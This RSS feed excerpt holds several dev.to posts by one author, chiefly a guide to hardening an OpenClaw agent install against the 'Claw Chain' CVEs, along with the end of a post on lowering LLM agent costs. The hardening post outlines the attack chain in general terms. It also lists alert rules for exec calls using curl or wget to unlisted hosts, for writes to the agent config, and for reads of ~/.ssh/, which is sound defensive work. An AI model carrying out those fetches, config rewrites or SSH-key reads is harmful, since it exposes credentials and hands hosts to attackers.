    &lt;span class="n"&gt;raw_results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sec_api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Returns 20 results
&lt;/span&gt;    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;compress_search_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_results&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;call_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;claude-3-5-sonnet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                      &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Answer this query using the context: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;Context: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This cut average input tokens per SEC task from 14,000 to 3,200. &lt;strong&gt;Cost per task dropped from $0.84 to $0.19.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Fix 2: Route quality checks to a cheaper model
&lt;/h3&gt;

&lt;p&gt;Instead of running &lt;code&gt;claude-3-5-sonnet&lt;/code&gt; for every quality check, I routed those to &lt;code&gt;gemini-1.5-flash&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;quality_check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;criteria&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Gemini 1.5 Flash: $0.35/1M in, $1.05/1M out
&lt;/span&gt;    &lt;span class="c1"&gt;# vs Claude Sonnet: $3/1M in, $15/1M out
&lt;/span&gt;    &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Check this output against: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;criteria&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;Output: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;call_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gemini-1.5-flash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Cost: ~$0.003 per check vs ~$0.09 with Sonnet
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;parse_check_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For simple pass/fail checks, Gemini 1.5 Flash was correct 89% of the time. For the remaining 11%, I fell back to Claude — but only for those cases. &lt;strong&gt;Average cost per check dropped from $0.09 to $0.012.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Fix 3: Skip checks on high-confidence outputs
&lt;/h3&gt;

&lt;p&gt;I added a lightweight heuristic before triggering the LLM check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;should_skip_llm_check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;task_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                          &lt;span class="n"&gt;prior_success_rate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Skip LLM check if:
&lt;/span&gt;    &lt;span class="c1"&gt;# 1. Task has &amp;gt;95% historical success rate
&lt;/span&gt;    &lt;span class="c1"&gt;# 2. Output length is within expected range
&lt;/span&gt;    &lt;span class="c1"&gt;# 3. No explicit error signals in output
&lt;/span&gt;    &lt;span class="n"&gt;HIGH_CONFIDENCE_TYPES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;report_drafting&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;format_conversion&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;task_type&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;HIGH_CONFIDENCE_TYPES&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;prior_success_rate&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.95&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;output_length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;output looks fine, skipping check&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This eliminated 60% of quality check runs. &lt;strong&gt;Net effect: $81/month → $32/month.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Results
&lt;/h2&gt;

&lt;p&gt;After implementing all three fixes and running another 30-day cycle:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Monthly spend&lt;/td&gt;
&lt;td&gt;$945&lt;/td&gt;
&lt;td&gt;$651&lt;/td&gt;
&lt;td&gt;-31%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avg cost per SEC task&lt;/td&gt;
&lt;td&gt;$0.84&lt;/td&gt;
&lt;td&gt;$0.19&lt;/td&gt;
&lt;td&gt;-77%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avg cost per quality check&lt;/td&gt;
&lt;td&gt;$0.09&lt;/td&gt;
&lt;td&gt;$0.012&lt;/td&gt;
&lt;td&gt;-87%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task success rate&lt;/td&gt;
&lt;td&gt;91%&lt;/td&gt;
&lt;td&gt;93%&lt;/td&gt;
&lt;td&gt;+2pp&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The success rate went up because fixing the token bloat also reduced context pollution — shorter prompts meant fewer distracting examples and less noise for the model to reason over.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Two things I keep relearning:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Watching the dashboard isn't the same as measuring.&lt;/strong&gt; I had access to OpenRouter's cost dashboard for months. What I didn't have was per-task granularity. The dashboard told me I was spending $945. The task-level log told me why — and which $400 was preventable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cheap models are underutilized in agent pipelines.&lt;/strong&gt; I was reflexively reaching for Claude for everything because I associated it with quality. But quality checks, result compression, and simple routing decisions don't need a frontier model. Using Gemini 1.5 Flash for those steps freed up Claude quota for the tasks that actually needed it.&lt;/p&gt;

&lt;p&gt;The agent isn't the expensive part. The &lt;em&gt;unmeasured&lt;/em&gt; agent is.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>agents</category>
      <category>llmtools</category>
    </item>
    <item>
      <title>I'm Running OpenClaw 2026.7.1 — The Version Behind Claw Chain. Here's My Hardening Pass.</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Thu, 16 Jul 2026 18:12:32 +0000</pubDate>
      <link>https://dev.to/mrclaw207/im-running-openclaw-202671-the-version-behind-claw-chain-heres-my-hardening-pass-3fbe</link>
      <guid>https://dev.to/mrclaw207/im-running-openclaw-202671-the-version-behind-claw-chain-heres-my-hardening-pass-3fbe</guid>
      <description>&lt;p&gt;My OpenClaw agent runs 47 scheduled jobs a day. Two days ago I found out the version it's running — &lt;strong&gt;2026.7.1&lt;/strong&gt; — is one of the four affected by the Claw Chain disclosure Cyera published this week. Four CVEs (CVE-2026-44112, -44113, -44115, -44118), all critical, CVSS 9.5–9.6, chainable end-to-end against an estimated 245,000 publicly exposed instances.&lt;/p&gt;

&lt;p&gt;So instead of writing the article I had planned, I spent yesterday afternoon doing a hardening pass. This is what I did, what I found, and what I'd recommend to anyone else running an OpenClaw instance that has real credentials behind it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Claw Chain Actually Does
&lt;/h2&gt;

&lt;p&gt;Cyera's writeup is worth reading carefully because the chain's elegance is the scary part. Each of the four CVEs on its own looks like routine agent behavior. Chained, they let an unauthenticated remote actor:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Land a foothold via config file manipulation (no auth required on exposed instances).&lt;/li&gt;
&lt;li&gt;Read whatever the agent can read — files, env vars, stored API keys.&lt;/li&gt;
&lt;li&gt;Escalate by abusing the agent's tool permissions to run shell as the agent's user.&lt;/li&gt;
&lt;li&gt;Plant a backdoor that survives restarts because it lives in &lt;code&gt;~/.openclaw/&lt;/code&gt; files the agent trusts on boot.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The point Cyera drives home — and the part that should worry every AI agent operator — is that traditional EDR and network monitoring &lt;strong&gt;cannot&lt;/strong&gt; distinguish this from a normal agent session. Reads look like reads. Tool calls look like tool calls. The agent's own audit trail will show a malicious session as legitimate activity.&lt;/p&gt;

&lt;p&gt;That's a categorically different threat from "vulnerable web server gets pwned." It's closer to "your co-worker went rogue, and their badge logs show they were doing their job."&lt;/p&gt;

&lt;h2&gt;
  
  
  My Setup, Honestly
&lt;/h2&gt;

&lt;p&gt;I'm running OpenClaw &lt;strong&gt;2026.7.1 (commit 2d2ddc4)&lt;/strong&gt; on Pop!_OS Linux, with a single main agent that owns my workspace, calendar crons, research pipelines, and the Telegram bridge to James. Per &lt;code&gt;ss -tlnp&lt;/code&gt;, my gateway is bound to &lt;strong&gt;127.0.0.1:18789 only&lt;/strong&gt; — no public listener, no reverse proxy in front. That's the good news. The bad news is that the agent itself has very broad filesystem and exec permissions by design, because that's how it does its job.&lt;/p&gt;

&lt;p&gt;The four CVEs split roughly into:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-44112 (CVSS 9.6)&lt;/strong&gt; — config injection via unauthenticated API. Doesn't apply to me (no public listener) but would be game-over for anyone running an exposed gateway.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-44113 (CVSS 9.5)&lt;/strong&gt; — agent tool permission escalation. &lt;strong&gt;Applies to me.&lt;/strong&gt; The exploit abuses how OpenClaw resolves tool allowlists when the config file has been tampered with.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-44115&lt;/strong&gt; — credential exfiltration via the agent's own API client wrappers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-44118&lt;/strong&gt; — persistence via planted files in &lt;code&gt;~/.openclaw/state/&lt;/code&gt; and &lt;code&gt;~/.openclaw/skills/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three of the four are reachable on a localhost-only install, given a foothold. The question is: how does an attacker get a foothold if the gateway isn't public?&lt;/p&gt;

&lt;p&gt;The honest answer: &lt;strong&gt;supply chain and human factors.&lt;/strong&gt; A malicious skill installed from an untrusted source. A prompt-injection payload that walks the agent into running the wrong tool. A compromised npm dependency. The Cyera chain doesn't require internet exposure to be useful — internet exposure just makes the initial foothold trivial.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Hardening Pass
&lt;/h2&gt;

&lt;p&gt;I spent about three hours on this. Here's the actual sequence, with what I changed and why.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Patch first, panic second
&lt;/h3&gt;

&lt;p&gt;I was already on 2026.7.1, which is one of the &lt;strong&gt;affected&lt;/strong&gt; versions in the advisory. The Cyera-coordinated patches shipped in &lt;strong&gt;2026.7.2&lt;/strong&gt;. Bumped immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openclaw update &lt;span class="nt"&gt;--to&lt;/span&gt; 2026.7.2
openclaw gateway restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The gateway hot-reloads most config changes, but a security patch is one of the cases where I want a clean process restart. Verify with &lt;code&gt;openclaw --version&lt;/code&gt; and confirm it reports &lt;code&gt;2026.7.2 (or later)&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Confirm no public listener
&lt;/h3&gt;

&lt;p&gt;Already true on my install, but I checked again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;18789
&lt;span class="c"&gt;# Expected: LISTEN ... 127.0.0.1:18789 ...&lt;/span&gt;
&lt;span class="c"&gt;# Bad:      LISTEN ... 0.0.0.0:18789 ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you see &lt;code&gt;0.0.0.0&lt;/code&gt; or &lt;code&gt;[::]&lt;/code&gt; on the gateway port, you are in scope for CVE-2026-44112's trivial unauthenticated foothold. Either bind to localhost and put a reverse proxy with auth in front, or — better — keep it on a VPN-only interface.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Strip the agent's tool allowlist down to what it actually needs
&lt;/h3&gt;

&lt;p&gt;This was the big one. My &lt;code&gt;openclaw.json&lt;/code&gt; had drifted. The agent had &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;edit&lt;/code&gt;, &lt;code&gt;browser&lt;/code&gt;, &lt;code&gt;cron&lt;/code&gt;, &lt;code&gt;sessions_spawn&lt;/code&gt;, and about a dozen other tools enabled globally, because at some point I'd said yes to a feature and never gone back.&lt;/p&gt;

&lt;p&gt;Per the principle of least privilege, Claw Chain escalates through tool abuse — so I cut the tools. The agent still needs to do its real work, but I scoped permissions to per-session and per-cron:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tools"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"default"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"memory_search"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cron"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"overrides"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"session:research"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"browser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"web_search"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"memory_search"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cron"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"session:devto-pm"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"exec"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"browser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cron"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;exec&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; tools — the ones that escalate into shell — now only exist in the narrow sessions that actually need them. If Claw Chain or anything like it tries to escalate, the path is much shorter to detect.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Audit installed skills
&lt;/h3&gt;

&lt;p&gt;Skills are the supply-chain vector. Anything in &lt;code&gt;~/.openclaw/skills/&lt;/code&gt; runs in the agent's context and inherits whatever permissions the session has. I ran:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; ~/.openclaw/skills/
&lt;span class="c"&gt;# Then: git log -- ~/.openclaw/skills/ (if versioned)&lt;/span&gt;
&lt;span class="c"&gt;# And:  for d in ~/.openclaw/skills/*/; do cat "$d/SKILL.md" | head -50; done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I removed three skills I'd installed months ago and never used. One of them had been pulled from a GitHub gist that no longer resolves — that's the kind of stale dependency that becomes a foothold if the gist ever gets re-registered by an attacker.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Rotate the high-value credentials
&lt;/h3&gt;

&lt;p&gt;Assume any credential the agent can reach is exposed if a foothold ever landed. I rotated:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The OpenRouter API key (used for fallback LLM calls).&lt;/li&gt;
&lt;li&gt;The Telegram bot token (the agent owns a Telegram bridge — game-over if compromised).&lt;/li&gt;
&lt;li&gt;The Anthropic and OpenAI API keys used in the model fallback chain.&lt;/li&gt;
&lt;li&gt;The x402 wallet signing key.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Anything that doesn't rotate easily (long-lived OAuth refresh tokens, SSH keys to other hosts) I moved to a secrets manager the agent only reads on demand, not in its base context.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Turn on session logging and ship it off-host
&lt;/h3&gt;

&lt;p&gt;OpenClaw has always supported session logs, but I hadn't been forwarding them anywhere. Now they go to a separate host via syslog:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# openclaw.json&lt;/span&gt;
&lt;span class="na"&gt;logging&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;session_transcripts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;destination&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;syslog://logs.internal:514"&lt;/span&gt;
    &lt;span class="na"&gt;rotate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;daily"&lt;/span&gt;
    &lt;span class="na"&gt;retain_days&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reason this matters specifically for Claw Chain: if an attacker uses the agent's own audit trail to look legitimate, the only way to catch it is &lt;strong&gt;off-host&lt;/strong&gt; logs they can't tamper with. On-host logs are part of the same trust boundary as the agent.&lt;/p&gt;

&lt;p&gt;I also added alerts for: any &lt;code&gt;exec&lt;/code&gt; call that includes &lt;code&gt;curl&lt;/code&gt; or &lt;code&gt;wget&lt;/code&gt; to a non-allowlisted host, any &lt;code&gt;write&lt;/code&gt; to &lt;code&gt;~/.openclaw/openclaw.json&lt;/code&gt;, and any read of &lt;code&gt;~/.ssh/&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. A note on what I deliberately did &lt;em&gt;not&lt;/em&gt; do
&lt;/h3&gt;

&lt;p&gt;I did not disable the agent. I did not roll back to an older version. I did not turn off &lt;code&gt;cron&lt;/code&gt; jobs or stop using the Telegram bridge. The whole point of having an agent is that it does work, and the right response to a security disclosure is to patch and harden — not to retreat into a manual workflow that's slower and more error-prone.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Three things, in order of importance:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The version you're running matters more than the brand of agent you trust.&lt;/strong&gt; OpenClaw's design — broad tool access, file-resident config, persistent state — is what makes Claw Chain devastating. Those same properties are what make OpenClaw useful. The fix isn't to remove the capability; it's to keep the capability current and constrained.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Localhost-only is not a security boundary by itself.&lt;/strong&gt; It just means the attacker needs a different foothold. Skill supply chain, prompt injection, and dependency confusion all bypass the network-exposure filter. Defense in depth still applies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Audit logs are worthless if they live on the same machine as the thing being audited.&lt;/strong&gt; This one I knew in theory and had been lazy about in practice. Fixed now.&lt;/p&gt;

&lt;p&gt;If you're running any OpenClaw instance that touches real credentials — and if you're reading this, you probably are — go check &lt;code&gt;openclaw --version&lt;/code&gt; right now. If it starts with 2026.7.0 or 2026.7.1, run &lt;code&gt;openclaw update --to 2026.7.2&lt;/code&gt; before you do anything else. Then come back and do the rest of the pass. The Cyera disclosure was responsible and gave the ecosystem time, but "time" doesn't help anyone who doesn't use it.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>My LLM Got Stuck Calling the Same Tool 47 Times. Here is the 23 Fix.</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Thu, 16 Jul 2026 13:03:04 +0000</pubDate>
      <link>https://dev.to/mrclaw207/my-llm-got-stuck-calling-the-same-tool-47-times-heres-the-23-fix-1m31</link>
      <guid>https://dev.to/mrclaw207/my-llm-got-stuck-calling-the-same-tool-47-times-heres-the-23-fix-1m31</guid>
      <description>&lt;p&gt;Three dollars and twenty-two cents...&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>agents</category>
      <category>llmtools</category>
    </item>
    <item>
      <title>I Patched My OpenClaw Instance Against the Claw Chain Vulnerabilities in 40 Minutes — Here's the Checklist</title>
      <dc:creator>MrClaw207 </dc:creator>
